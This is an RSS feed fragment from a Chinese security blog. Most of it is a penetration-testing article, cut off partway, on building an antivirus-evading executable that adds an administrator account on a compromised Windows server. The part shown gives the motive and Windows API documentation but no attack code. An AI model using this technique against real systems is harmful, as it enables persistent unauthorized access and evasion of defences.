<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3940c8f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxWUkLEy5DuPgXd4WLbzibCpMTKpLG7WG3EfN3gPg9Y4cLyJC4xvPBTTQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=184ff131&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxXRMibtG46iagYVfcWM0qquicxxAZ9T5XrbeZeQ1ib8R5MXCdP3brLa0AIA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6a4f4a86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax1RQoxCzg8t4oicJfWMev9ibmUDBUCj4xtU92VDW3VxeBtHSVNH0zae1g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=746866ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxeO8bibIAicpJ5SpUDmPiaw4Z8qqPoBrJ4dtLkZbZjeYRibcXhZIcibANiaUg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a55385a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxiaicJph0hKFExI5VOHq0AlsFaZS6ibE9mrxqOLhfGLDzpsftsVERhdCEA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eca9da8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax1xjmhXbgl28nEuCb0Y0icblPuECiceZROicjrTbPX6w9LgKlYnTHUUdjQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f60d201b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxKHSY528CSybfjkYpm2MnykKJuHYNFDQ2IbdNmicYehj1mfiaSzQiacbqg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ebbb535d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxl5drzjetE9LiaC1w9X2bic9uqopjOoPDTqtTHHCiatvAPlhujGCINIic1A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7708946e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxas030ypwibbk1z33mKjh4VwSPValNEqOPibehf7BmTicGJzQZD52lcQPA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c20037a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxluDC4uTibf8ay0bJsLArB6kDOU8Xv5UY55H6jtHsxOt6fn2miaonekRA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bcb30463&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxa1WzJTsU2lZou4icv0esT1SRJk1FOicRbYMPUbqPBt9Kia23T6RJjWibDQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9190c9b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxIZLd4wrvFYV5KNunay7uOGATh5CcWBAJFP6Gzt3amlytiaPk4Nmbk1A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9fb8c7bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax4pWo8qJkcicAm0yQwGKvGZ7TiafdkqGbh1SicQ28odo2S0CGiaiaMrbfNWA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d966ac85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxNSV7DKF3FkrVU1WY5YOEYR0aPyLxt6h0xGpTI5A8h5GHqOYUITYeWA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=19383168&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxeickYVXcq1UWS3DaMSzeUFYTCcDb8diaCYYvvPjxTgOhPmESyUhrqDAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=57ae4dec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxVBqqrSTokwKXgYDfhOfjdWJLDaqxkA7IulgVM0Y9UCQquUVicXMniaibg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0454d817&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxVGxHdeUlB1TibZoiaCTUicF4ZMHNfPibia942V3xicibPkTv3sX7xib5lgc6LQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></p>



<p><a href="https://github.com/TideSec/TscanPlus">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ef4662d5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521351%26idx%3D1%26sn%3Da0f8d4dd5bf4bc70638ee4d4d50d29a8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 01 Jul 2025 09:01:00 +0800</pubDate>
    </item>
    <item>
      <title>使用python生成添加管理员账户的exe</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521325&amp;idx=1&amp;sn=6647eebdeafab457f8f3ec6f77352879</link>
      <description>在渗透测试中，针对Windows服务器获取webshell后一般会考虑新建管理员账号（当然某些情况下可以直接读密码）登录rdp方便渗透，所以考虑自己做个免杀的exe来添加用户。</description>
      <content:encoded><![CDATA[<p>
原创 <span>komorebi</span> <span>2025-06-13 17:31</span> <span style="display: inline-block;">山东</span>
</p>

<p>在渗透测试中，针对Windows服务器获取webshell后一般会考虑新建管理员账号（当然某些情况下可以直接读密码）登录rdp方便渗透，所以考虑自己做个免杀的exe来添加用户。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c9355999&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVLHibiaKKMicTibA7xE5hXrHxgPC14pOcOvVibZfyaaC1ZlgKBbBZ0bAM7xOicQIAGKcs0Rqco3PeNa6kg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x01 前言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">在渗透测试中，针对Windows服务器获取webshell后一般会考虑新建管理员账号（当然某些情况下可以直接读密码）登录rdp方便渗透。目前来说，常见的使用net user（包括激活guest）以及复制net.exe重命名的方式大概率要被拦截，所以考虑自己做个免杀的exe来添加用户。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x02 使用的相关函数</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">查阅资料发现在微软官方api介绍文档中，有两个函数值得关注</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NetUserAdd 函数: NetUserAdd 函数添加用户帐户并分配密码和特权级别。即可以用这个函数实现系统账号添加。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;word-break: break-all;"><span leaf="">NetLocalGroupAddMembers 函数： NetLocalGroupAddMembers 函数将一个或多个现有用户帐户或全局组帐户的成员身份添加到现有本地组。 函数不会更改当前是本地组成员的用户或全局组的成员身份状态。 这两个函数是Windows官方API，调用它们不像执行net user 这种命令那样明显，不容易被安全软件拦截或标记为恶意行为。而且我们可以写代码灵活控制，那么接下来就用这两个函数尝试一下生成一个exe。</span></p></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x03 NetUserAdd 函数</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个函数就像我们在“控制面板”里点“添加新用户”一样，NetUserAdd是给程序员用的“添加用户”的工具，它可以让程序通过代码方式，自动在系统里加一个用户，并设定用户名、密码、权限等信息。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">c++语法</span></span></h2><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">NET_API_STATUS NET_API_FUNCTION NetUserAdd(</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">]  LPCWSTR servername,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">]  DWORD   level,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">]  LPBYTE  buf,</span><span leaf=""><br/></span><span leaf="">  [out] LPDWORD parm_err</span><span leaf=""><br/></span><span leaf="">);</span><span leaf=""><br/></span></p></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">参数</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] servername</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">指向常量字符串的指针，该字符串指定要对其执行函数的远程服务器的 DNS 或 NetBIOS 名称。 如果此参数为 NULL，则使用本地计算机。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">如果定义了 _WIN32_WINNT 或 FORCE_UNICODE ，则此字符串为 Unicode。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] level 指定数据的信息级别。 此参数的取值可为下列值之一：</span></p></li></ul><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: rgb(240, 240, 240) left top no-repeat;height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">值</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: rgb(240, 240, 240) left top no-repeat;height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">含义</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">1</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定有关用户帐户的信息。 buf 参数指向USER_INFO_1结构。指定此级别时，调用会将某些属性初始化为其默认值。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">2</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定第一级信息和有关用户帐户的其他属性</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">3</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: 